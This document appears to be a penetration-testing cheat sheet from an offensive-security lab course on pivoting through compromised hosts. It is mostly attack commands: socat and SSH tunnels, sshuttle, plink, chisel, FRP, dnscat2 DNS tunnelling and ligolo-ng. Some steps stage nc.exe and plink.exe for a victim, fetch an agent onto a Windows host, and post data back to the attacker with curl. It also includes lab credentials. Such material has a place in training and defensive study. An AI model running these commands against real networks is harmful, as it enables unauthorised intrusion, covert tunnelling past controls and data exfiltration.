Port Redirection & Tunneling

Use Python to get stable shell:

python3 -c 'import pty; pty.spawn("/bin/sh")'

Port Forwarding with SOCAT:

confluence@confluence01: socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432

Connecting to Internal server:

kali@kali$ psql -h 192.168.50.63 -p 2345 -U postgres

SSH Into PGDB01:

confluence@confluence01: socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

Connecting to above:

kali@kali$  ssh [email protected] -p2222

SSH Local Port Forwarding:

confluence@confluence: ssh -N -L 0.0.0.0:4455:172.16.50.217:445 [email protected]

Connecting to the internal host:

kali@kali: smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234

SSH Dynamic Port Forwarding

ssh -N -D 0.0.0.0:9999 [email protected]

tail /etc/proxychains4.conf

Connecting to internal server:

proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

SSH Remote Port Forwarding

ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 [email protected]

Connecting to it:

psql -h 127.0.0.1 -p 2345 -U postgres

SSH Remote Dynamic Port Forwarding

ssh -N -R 9998 [email protected]

tail /etc/proxychains4.conf

proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64

sshuttle:

Need SOCAT and SSH Tunnel:

confluenc@confluence: socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

next is specify the port to which SSH tunnel is exposed towards kali:

kali@kali: sshuttle -r [email protected]:2222 10.4.50.0/24 172.16.50.0/24

Although we don't receive much output from sshuttle, in theory, it should have set up the routing on our Kali machine so that any requests we make to hosts in the subnets we specified will be pushed transparently through the SSH connection. Let's test if this is working by trying to connect to the SMB share on HRSHARES in a new terminal.

Note: In order to run sshuttle, you need root privileges on the SSH client machine.

kali@kali: smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

Port forwarding using OpenSSH:

where ssh

Notably, the version of OpenSSH bundled with Windows is higher than 7.6, meaning we can use it for remote dynamic port forwarding.

ssh -N -R 9998 [email protected]

tail /etc/proxychains4.conf

proxychains psql -h 10.4.50.215 -U postgres

FRP

Client Side

./frpc -c ./frpc.toml

frpc.toml file:

[common]
server_addr = 192.168.45.239
server_port = 7009


[socks5]
type = tcp
plugin = socks5
remote_port = 5555

Server Side

./frps -c ./frps.toml

frps.toml content:

[common]
bind_port = 7009

Plink:

SSH Binary on Kali:

Netcat Binary:

sudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/

Plink Binary

sudo cp /usr/share/windows-resources/binaries/plink.exe /var/www/html/

C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4

HTTP Tunneling:

Chisel uses a client/server model. A Chisel server must be set up, which can accept a connection from the Chisel client. Various port forwarding options are available depending on the server and client configurations. One option that is particularly useful for us is reverse port forwarding, which is like SSH remote port forwarding.

In the usage guide, we find the --reverse flag. Starting the Chisel server with this flag will mean that when the client connects, a SOCKS proxy port will be bound on the server.

Run Chisel at server (on Kali):

chisel server --port 8080 --reverse

chisel server --port 8000 --socks5 --reverse

To redirect traffic to local port:

chisel client 192.168.45.250:8080 R:9999:127.0.0.1:3306

Simple Port forwarding:

chisel client 192.168.45.250:8080 R:socks

To debug chisel client issue, get the output file sent back to attacker machine:

/tmp/chisel client 192.168.118.4:8080 R:socks &> /tmp/output; curl --data @/tmp/output http://192.168.118.4:8080/

Once connection is received, it will echo the local port for data forwarding:

Let's use this to connect to the SSH server on PGDATABASE01. In Port Redirection and SSH Tunneling, we created SOCKS proxy ports with both SSH remote and classic dynamic port forwarding and used Proxychains to push non-SOCKS-native tools through the tunnel. But we've not yet actually run SSH itself through a SOCKS proxy.

SSH doesn't offer a generic SOCKS proxy command-line option. Instead, it offers the ProxyCommand configuration option. We can either write this into a configuration file, or pass it as part of the command line with -o.

ProxyCommand accepts a shell command that is used to open a proxy-enabled channel. The documentation suggests using the OpenBSD version of Netcat, which exposes the -X flag and can connect to a SOCKS or HTTP proxy. However, the version of Netcat that ships with Kali doesn't support proxying.

Instead, we'll use Ncat, the Netcat alternative written by the maintainers of Nmap. We can install this on Kali with sudo apt install ncat.

Now we can use chisel proxy to connect to the server behind the machine:

Now we'll pass an Ncat command to ProxyCommand. The command we construct tells Ncat to use the socks5 protocol and the proxy socket at 127.0.0.1:1080. The %h and %p tokens represent the SSH command host and port values, which SSH will fill in before running the command.

ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' [email protected]

DNS Tunneling:

Let's try this out in a new scenario in the lab, which is configured precisely for this purpose. In this scenario, we have a new server: FELINEAUTHORITY. This server is situated on the WAN alongside our Kali machine. This means that MULTISERVER03, CONFLUENCE01, and our Kali machine can route to it, but PGDATABASE01 and HRSHARES cannot.

FELINEAUTHORITY is registered within this network as the authoritative name server for the feline.corp zone. We will use it to observe how DNS packets reach an authoritative name server. We will watch DNS packets being exchanged between PGDATABASE01 and FELINEAUTHORITY.

While PGDATABASE01 cannot connect directly to FELINEAUTHORITY, it can connect to MULTISERVER03. MULTISERVER03 is also configured as the DNS resolver server for PGDATABASE01.

To simulate a real DNS setup, we can make FELINEAUTHORITY a functional DNS server using Dnsmasq. Dnsmasq is DNS server software that requires minimal configuration. A few Dnsmasq configuration files are stored in the ~/dns_tunneling folder, which we'll use as part of our DNS experiments. For this initial experiment, we'll use the very sparse dnsmasq.conf configuration file.

This configuration ignores the /etc/resolv.conf and /etc/hosts files and only defines the auth-zone and auth-server variables. These tell Dnsmasq to act as the authoritative name server for the feline.corp zone. We have not configured any records so far. Requests for anything on the feline.corp domain will return failure responses.

Now that the configuration is set, we'll start the dnsmasq process with the dnsmasq.conf configuration file (-C), making sure it runs in "no daemon" (-d) mode so it runs in the foreground. We can kill it easily again later.

Use dnscat2:

Kill the DNSMasq on the top

dnscat2-server feline.corp

Get the dnscat2 client binary on victim machine:

./dnscat feline.corp

Now you can use the shell to intercat.

The dnscat2 process is using CNAME, TXT, and MX queries and responses. As indicated by this network data, DNS tunneling is certainly not stealthy! This output reveals a huge data transfer from the dnscat2 client to the server. All the request and response payloads are encrypted, so it's not particularly beneficial to keep logging the traffic. We'll go ahead and kill tcpdump with C+c.

Now we'll start interacting with our session from the dnscat2 server. Let's list all the active windows with the windows command, then run window -i from our new "command" shell to list the available commands.

This returns a prompt with a "command" prefix. This is the dnscat2 command session, and it supports quite a few options. We can learn more about each command by running it with the --help flag.

Since we're trying to tunnel in this Module, let's investigate the port forwarding options. We can use listen to set up a listening port on our dnscat2 server, and push TCP traffic through our DNS tunnel, where it will be decapsulated and pushed to a socket we specify. Let's background our console session by pressing C+z. Back in the command session, let's run listen --help.

According to the help message output, listen operates much like ssh -L. And we should be very familiar with that by now.

Let's try to connect to the SMB port on HRSHARES, this time through our DNS tunnel. We'll set up a local port forward, listening on 4455 on the loopback interface of FELINEAUTHORITY, and forwarding to 445 on HRSHARES.

listen 127.0.0.1:4455 172.16.2.11:445

From another shell on FELINEAUTHORITY we can list the SMB shares through this port forward.

The connection is slower than a direct connection, but this is expected given that our SMB packets are being transported through the dnscat2 DNS tunnel. TCP-based SMB packets, encapsulated in DNS requests and responses transported over UDP, are pinging back and forth to the SMB server on HRSHARES, deep in the internal network. Excellent!

Ligolo NG

Creating interface and starting it.

sudo ip tuntap add user $(whoami) mode tun ligolo

sudo ip link set ligolo up

Kali machine - Attacker machine

./proxy -laddr 0.0.0.0:9001 -selfcert

On Windows Machine:

iwr -uri http://192.168.45.166/agent.exe -Outfile agent.exe

./agent.exe -connect 192.168.45.166:443 -ignore-cert

In Ligolo-ng console

session #select host ifconfig #Notedown the internal network's subnet start #after adding relevent subnet to ligolo interface

Adding subnet to ligolo interface - Kali linux sudo ip r add dev ligolo sudo ip r add 10.10.143.0/24 dev ligolo

To Remove Route sudo ip r del 10.10.143.0/24 dev ligolo ip route show dev ligolo

Creating listner on remote host for port forwarding:

listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp

listener_add --addr 0.0.0.0:2337 --to 127.0.0.1:2337 --tcp